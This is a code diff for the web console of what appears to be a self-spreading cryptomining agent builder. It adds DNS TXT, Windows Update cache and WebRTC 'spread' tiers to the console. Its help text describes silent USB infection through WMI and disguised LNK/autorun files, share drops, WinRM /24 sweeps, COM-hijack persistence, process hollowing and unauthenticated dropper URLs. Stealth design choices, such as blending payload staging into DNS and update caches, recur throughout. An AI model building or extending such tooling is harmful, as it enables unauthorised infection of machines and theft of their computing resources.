const out: string[] = [];
if (caps?.auto_spread) out.push('auto_spread');
if (caps?.mesh_p2p) out.push('mesh_p2p');
if (caps?.hole_punch) out.push('hole_punch');
if (caps?.process_hollowing) out.push('process_hollowing');
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
if (caps?.remote_aggressive) out.push('remote_aggressive');
return out;
}
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
const hints: string[] = [];
if (agent.agent_elevated === true) hints.push('elevated');
else if (agent.agent_elevated === false) hints.push('standard user');
if (agent.defender_rtp === true) hints.push('Defender RTP on');
else if (agent.defender_enabled === true) hints.push('Defender on');
if (agent.ssh_available === true) hints.push('SSH reachable');
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
return hints;
}
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
return attempts.map((a) => ({
tier: a.tier,
label: formatLotlTierLabel(a.tier),
ok: a.ok,
error: a.error,
phase: a.phase,
}));
}
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
}
function resolveMiningOrder(
diag: AccessDepthDiagnostics | undefined,
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
if (diag?.tier_chain_order?.length) {
return {
order: diag.tier_chain_order,
skipped: diag.tier_chain_skipped ?? [],
source: 'agent',
};
}
if (policy?.mining_tier_order?.length) {
return {
order: policy.mining_tier_order,
skipped: policy.mining_skip_tiers ?? [],
source: 'server',
};
}
if (agent.chain_order?.length) {
return {
order: agent.chain_order,
skipped: [],
source: 'agent',
};
}
return {
order: [...DEFAULT_MINING_TIER_ORDER],
skipped: diag?.tier_chain_skipped ?? [],
source: 'default',
};
}
function buildOnionRows(
order: string[],
skipped: string[],
attempts: TierAttempt[],
activeTier?: string,
): OnionTierRow[] {
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
const active = activeTier?.toLowerCase();
return order.map((tier, i) => {
const key = tier.toLowerCase();
let status: OnionTierRow['status'] = 'neutral';
if (active && key === active) status = 'active';
else if (skippedSet.has(key)) status = 'skipped';
else if (okSet.has(key)) status = 'done';
else if (failSet.has(key)) status = 'failed';
else status = 'pending';
return {
index: i + 1,
tier,
label: formatLotlTierLabel(tier),
status,
};
});
}
function computePendingTiers(
order: string[],
skipped: string[],
attempts: TierAttempt[],
): string[] {
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
const touched = uniqueAttemptTiers(attempts);
return order.filter((t) => {
const key = t.toLowerCase();
return !skippedSet.has(key) && !touched.has(key);
});
}
function detectInProgress(
agent: Agent,
attempts: TierAttempt[],
pending: string[],
activeTier?: string,
): string | undefined {
if (agent.status !== 'online') return undefined;
if (activeTier) {
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
if (!lastForActive || !lastForActive.ok) return activeTier;
}
return pending[0];
}
export function buildAccessDepthModel(
agent: Agent,
diagnostics?: AccessDepthDiagnostics,
policy?: AccessDepthServerPolicy,
): AccessDepthModel {
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
const pending = computePendingTiers(order, skipped, attempts);
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
const spreadOrder =
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
? policy.lotl_onion_tiers
: [...DEFAULT_LOTL_ONION_TIERS];
const recon = policy?.triple_onion?.recon_tiers?.length
? policy.triple_onion.recon_tiers
: DEFAULT_TRIPLE_RECON;
const deploy = policy?.triple_onion?.deploy_lanes?.length
? policy.triple_onion.deploy_lanes
: DEFAULT_TRIPLE_DEPLOY;
const osParts = [platformLabel(agent.platform)];
if (agent.os_version) osParts.push(agent.os_version);
if (agent.arch) osParts.push(agent.arch);
return {
platformLabel: platformLabel(agent.platform),
osLine: osParts.join(' · '),
probes: probeChips(diagnostics?.environment_probes, agent),
spreadCaps: spreadCapabilities(agent),
privilegeHints: privilegeHints(agent, diagnostics),
activeTier,
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
joinLane: agent.join_lane,
succeeded: attemptRows(attempts.filter((a) => a.ok)),
failed: attemptRows(attempts.filter((a) => !a.ok)),
inProgressTier,
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
pendingTiers: pending,
pendingLabels: pending.map(formatLotlTierLabel),
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
spreadOnion: spreadOrder.map((tier, i) => ({
index: i + 1,
tier,
label: formatLotlTierLabel(tier),
status: 'neutral' as const,
})),
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}`,
miningOrderSource: source,
};
}
export function parseAccessDepthServerPolicy(config: {
server?: {
lotl_onion_tiers?: string[];
triple_onion_policy?: {
recon_tiers?: string[];
deploy_lanes?: string[];
};
};
}): AccessDepthServerPolicy {
const server = config.server;
return {
lotl_onion_tiers: server?.lotl_onion_tiers,
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
triple_onion: server?.triple_onion_policy
? {
recon_tiers: server.triple_onion_policy.recon_tiers,
deploy_lanes: server.triple_onion_policy.deploy_lanes,
}
: undefined,
};
}

View File

@@ -20,7 +20,8 @@ const HELP_TIP_FIELDS = [
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
'com_hijack_persist', 'linux_lotl_mode',
'set_alerts', 'set_alert_notifications', 'set_webhook',
] as const;

View File

@@ -69,6 +69,9 @@ export const DOC_ANCHORS: Record<string, string> = {
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
remote_aggressive: '/docs/#crucible-ops',

View File

@@ -29,7 +29,7 @@ describe('fleetGroups', () => {
it('groupsForAgent and primaryGroupForAgent', () => {
const groups = [
createFleetGroup('G1', '#00f5ff', ['x']),
createFleetGroup('G1', '#00e8f5', ['x']),
createFleetGroup('G2', '#ff0000', ['x', 'y']),
];
expect(groupsForAgent(groups, 'x').map((g) => g.name)).toEqual(['G1', 'G2']);

View File

@@ -9,7 +9,7 @@ export interface FleetGroup {
}
export const FLEET_GROUP_COLORS = [
'#00f5ff',
'#00e8f5',
'#39ff14',
'#ff2da6',
'#b24bf3',

View File

@@ -29,7 +29,7 @@ describe('fleetHeatMap', () => {
{
id: 'g1',
name: 'Alpha',
color: '#00f5ff',
color: '#00e8f5',
agentIds: ['a1', 'a2'],
createdAt: '2026-01-01T00:00:00Z',
},

View File

@@ -13,6 +13,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
});

View File

@@ -58,6 +58,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
usb_spread: false,
share_spread: false,
winrm_spread: false,
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
target_os: 'windows',

View File

@@ -47,9 +47,20 @@ describe('forgeFormNormalize', () => {
it('linux target clears Windows-only spread flags', () => {
const out = normalizeForgeForm(
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
baseForm({
target_os: 'linux',
target_arch: 'amd64',
winrm_spread: true,
dns_txt_spread: true,
wsus_cache_peer_spread: true,
webrtc_mesh_spread: true,
com_hijack_persist: true,
})
);
expect(out.winrm_spread).toBe(false);
expect(out.dns_txt_spread).toBe(false);
expect(out.wsus_cache_peer_spread).toBe(false);
expect(out.webrtc_mesh_spread).toBe(false);
expect(out.com_hijack_persist).toBe(false);
});

View File

@@ -77,6 +77,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
usb_spread: false,
share_spread: false,
winrm_spread: false,
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
@@ -141,6 +144,9 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
if (isSingleUnixTarget(next.target_os)) {
next.process_hollowing = false;
next.winrm_spread = false;
next.dns_txt_spread = false;
next.webrtc_mesh_spread = false;
next.wsus_cache_peer_spread = false;
next.com_hijack_persist = false;
}

View File

@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(11);
expect(next.lotl_onion_tiers).toHaveLength(14);
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);

View File

@@ -432,6 +432,23 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
},
dns_txt_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined,
hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined,
},
wsus_cache_peer_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
},
webrtc_mesh_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined,
hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).',
},
com_hijack_persist: {
disabled: isUnixSingle,
badge: 'baked',

View File

@@ -2,14 +2,18 @@ import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => {
it('lists ten tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
it('lists fourteen tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
expect(DEFAULT_LOTL_ONION_TIERS[6]).toBe('do_peer');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('webrtc_mesh');
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
});
it('documents each tier with hint, definition, and example', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
expect(LOTL_ONION_TIER_DOCS).toHaveLength(14);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
// IDs must be a 1:1 match with the canonical tiers array
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
});
});

View File

@@ -8,6 +8,9 @@ export const DEFAULT_LOTL_ONION_TIERS = [
'dotnet',
'bits_curl',
'do_peer',
'wsus_cache_peer',
'dns_txt',
'webrtc_mesh',
'smb',
'winrm',
'linux',
@@ -91,6 +94,33 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
example:
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
},
{
id: 'wsus_cache_peer',
label: 'wsus_cache_peer',
hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
definition:
'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
example:
'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
},
{
id: 'dns_txt',
label: 'dns_txt',
hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
definition:
'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
example:
'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
},
{
id: 'webrtc_mesh',
label: 'webrtc_mesh',
hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
definition:
'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
example:
'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
},
{
id: 'smb',
label: 'SMB',

View File

@@ -33,6 +33,9 @@ describe('reconRisk', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
expect(joinLaneLabel('dns_txt')).toBe('DNS TXT');
expect(joinLaneLabel('webrtc_mesh')).toBe('WebRTC mesh');
expect(joinLaneLabel('wsus_cache_peer')).toBe('WSUS cache');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});

View File

@@ -74,6 +74,9 @@ const JOIN_LANE_LABELS: Record<string, string> = {
docker: 'Docker',
bits: 'BITS',
do_peer: 'DoSvc peer',
wsus_cache_peer: 'WSUS cache',
dns_txt: 'DNS TXT',
webrtc_mesh: 'WebRTC mesh',
bits_curl: 'BITS/curl',
intune: 'Intune',
'linux-lotl': 'Linux LOTL',

View File

@@ -109,6 +109,9 @@ describe('FIELD_HELP', () => {
'usb_spread',
'share_spread',
'winrm_spread',
'dns_txt_spread',
'webrtc_mesh_spread',
'wsus_cache_peer_spread',
'com_hijack_persist',
'linux_lotl_mode',
'hole_punch',

View File

@@ -127,6 +127,12 @@ export const FIELD_HELP: Record<string, string> = {
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
dns_txt_spread:
'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
webrtc_mesh_spread:
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
wsus_cache_peer_spread:
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',

View File

@@ -24,10 +24,10 @@ describe('spreadTechniques', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
it('re-exports ten LOTL onion tiers in canonical order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
it('re-exports fourteen LOTL onion tiers in canonical order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
});
});

View File

@@ -93,6 +93,7 @@ describe('UI_HELP', () => {
'set_alerts',
'set_alert_notifications',
'set_webhook',
'crucible_section_spread_templates',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -39,6 +39,10 @@ export const UI_HELP: Record<string, string> = {
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_access_depth:
'Host posture, LOTL mining tier status, join lane, and effective onion order for the selected agent — from live WS stats plus mining_diagnostics when run.',
crucible_access_depth_calibrate:
'Calibrate → lotl_onion_tiers changes spread contingency order on next agent reconnect (agents forged with lotl_policy_from_server).',
crucible_tab_ops:
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
crucible_tab_recon:
@@ -99,6 +103,8 @@ export const UI_HELP: Record<string, string> = {
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
crucible_section_portfwd:
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
crucible_section_spread_templates:
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',

View File

@@ -9,6 +9,7 @@ import './styles/steampunk-theme.css';
import './styles/sacred-geometry.css';
import './styles/wealth-deck.css';
import './styles/mobile.css';
import './pages/Pages.css';
import './styles/visual-polish.css';
ReactDOM.createRoot(document.getElementById('root')!).render(

View File

@@ -171,7 +171,7 @@
.bm-tls-badge {
font-size: 0.62rem;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
opacity: 0.8;
}
@@ -217,7 +217,7 @@
font-family: 'Courier New', monospace;
font-size: 0.65rem;
font-weight: 700;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
min-width: 2rem;
text-align: right;
flex-shrink: 0;
@@ -236,17 +236,17 @@
flex-shrink: 0;
font-size: 0.7rem;
padding: 0.15rem 0.5rem;
background: rgba(0,245,255,0.08);
border: 1px solid rgba(0,245,255,0.28);
background: rgba(0, 232, 245, 0.08);
border: 1px solid rgba(0, 232, 245, 0.28);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
cursor: pointer;
transition: background 0.15s;
white-space: nowrap;
}
.bm-copy-btn:hover {
background: rgba(0,245,255,0.18);
background: rgba(0, 232, 245, 0.18);
}
/* ── footer row ── */

View File

@@ -400,12 +400,12 @@ export default function BuildManagerPage() {
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY &amp; MANAGE</p>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
<h1>Build Manager</h1>
<p className="page-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="bm-header-actions">
<div className="deck-hero-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>

View File

@@ -2935,6 +2935,44 @@ export default function BuilderPage() {
<FieldHint field="winrm_spread" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
disabled={fieldMeta.dns_txt_spread?.disabled}
onChange={(e) => updateField('dns_txt_spread', e.target.checked)} />
<span>DNS TXT Spread — _aether zone shard mesh <HelpTip field="dns_txt_spread" /></span>
</label>
<FieldHint field="dns_txt_spread" />
<ForgeLockedHint meta={fieldMeta.dns_txt_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.wsus_cache_peer_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.wsus_cache_peer_spread !== false}
disabled={fieldMeta.wsus_cache_peer_spread?.disabled}
onChange={(e) => updateField('wsus_cache_peer_spread', e.target.checked)} />
<span>WSUS Cache Peer — SoftwareDistribution cousin staging <HelpTip field="wsus_cache_peer_spread" /></span>
</label>
<FieldHint field="wsus_cache_peer_spread" />
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
disabled={fieldMeta.webrtc_mesh_spread?.disabled}
onChange={(e) => updateField('webrtc_mesh_spread', e.target.checked)} />
<span>WebRTC Mesh Spread — LAN seed data channel (default off) <HelpTip field="webrtc_mesh_spread" /></span>
</label>
{form.webrtc_mesh_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only.
</p>
)}
<FieldHint field="webrtc_mesh_spread" />
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

View File

@@ -307,9 +307,9 @@ describe('CruciblePage terminal — command_result processing', () => {
describe('CruciblePage helpers', () => {
it('agentColor cycles palette by agent order', () => {
const ids = ['a', 'b', 'c'];
expect(agentColor('a', ids)).toBe('#00f5ff');
expect(agentColor('a', ids)).toBe('#00e8f5');
expect(agentColor('b', ids)).toBe('#39ff14');
expect(agentColor('missing', ids)).toBe('#00f5ff');
expect(agentColor('missing', ids)).toBe('#00e8f5');
});
it('sshBadge reflects ssh_available tri-state', () => {

View File

@@ -23,11 +23,13 @@ import type { WSCommandResult } from '../types/ws';
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import AccessDepthPanel from '../components/Fleet/AccessDepthPanel';
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
import RiskBadge from '../components/Fleet/RiskBadge';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import { parseTierReport } from '../types/lotl';
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import '../components/Fleet/FullSysCheckPanel.css';
@@ -126,7 +128,7 @@ type RichTermData =
// ── Helpers ────────────────────────────────────────────────────────────────
const AGENT_COLORS = [
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
'#00e8f5', '#39ff14', '#ff2da6', '#b24bf3',
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];
@@ -134,7 +136,7 @@ const AGENT_COLORS = [
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
if (groupColor) return groupColor;
const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5';
}
export function sshBadge(agent: Agent) {
@@ -376,6 +378,7 @@ export default function CruciblePage() {
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const [accessDepthByAgent, setAccessDepthByAgent] = useState<Record<string, AccessDepthDiagnostics>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
@@ -568,6 +571,8 @@ export default function CruciblePage() {
} else if (r.action === 'mining_diagnostics') {
const blockers = parsed.likely_blockers ?? parsed.blockers;
const tierFields = parseTierReport(parsed as Record<string, unknown>);
const depthDiag = parseAccessDepthDiagnostics(parsed as Record<string, unknown>);
setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag }));
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
richData = {
type: 'mining_diagnostics',
@@ -1086,6 +1091,7 @@ export default function CruciblePage() {
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
selectedAgents={selectedAgents}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
@@ -1333,6 +1339,13 @@ export default function CruciblePage() {
</div>
)}
{focusedAgent && (
<AccessDepthPanel
agent={focusedAgent}
diagnostics={accessDepthByAgent[focusedAgent.id]}
/>
)}
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>

View File

@@ -47,7 +47,6 @@ import {
import {
resolveChartSeries,
} from '../help/chartSampleData';
import './Pages.css';
const SKELETON_HEIGHTS = [0.30, 0.55, 0.40, 0.70, 0.50, 0.65, 0.45, 0.80, 0.60, 0.35];
@@ -95,6 +94,7 @@ export default function DashboardPage() {
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const selectedAgents = useMemo(() => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds]);
const [bulkBusy, setBulkBusy] = useState(false);
const [showMatrix, setShowMatrix] = useState(false);
const screenshotWatchId = useRef<string | null>(null);
@@ -841,7 +841,7 @@ export default function DashboardPage() {
data={hashChart.data}
displayMode={hashChart.mode}
title="Fleet Hashrate Wave"
color="#00f5ff"
color="#00e8f5"
unit="H/s"
height={300}
/>
@@ -932,6 +932,7 @@ export default function DashboardPage() {
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
selectedAgents={selectedAgents}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}

View File

@@ -23,7 +23,6 @@ import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import { HelpTip } from '../components/HelpTip';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';

View File

@@ -22,7 +22,7 @@
font-weight: 700;
letter-spacing: 0.15em;
text-transform: uppercase;
color: var(--accent-primary, #00ffaa);
color: var(--accent-primary, #00e8f5);
font-family: var(--font-tech, monospace);
}
@@ -55,8 +55,8 @@
}
.pt-agent-card {
background: rgba(0, 255, 170, 0.04);
border: 1px solid rgba(0, 255, 170, 0.12);
background: rgba(0, 232, 245, 0.04);
border: 1px solid rgba(0, 232, 245, 0.12);
border-radius: 8px;
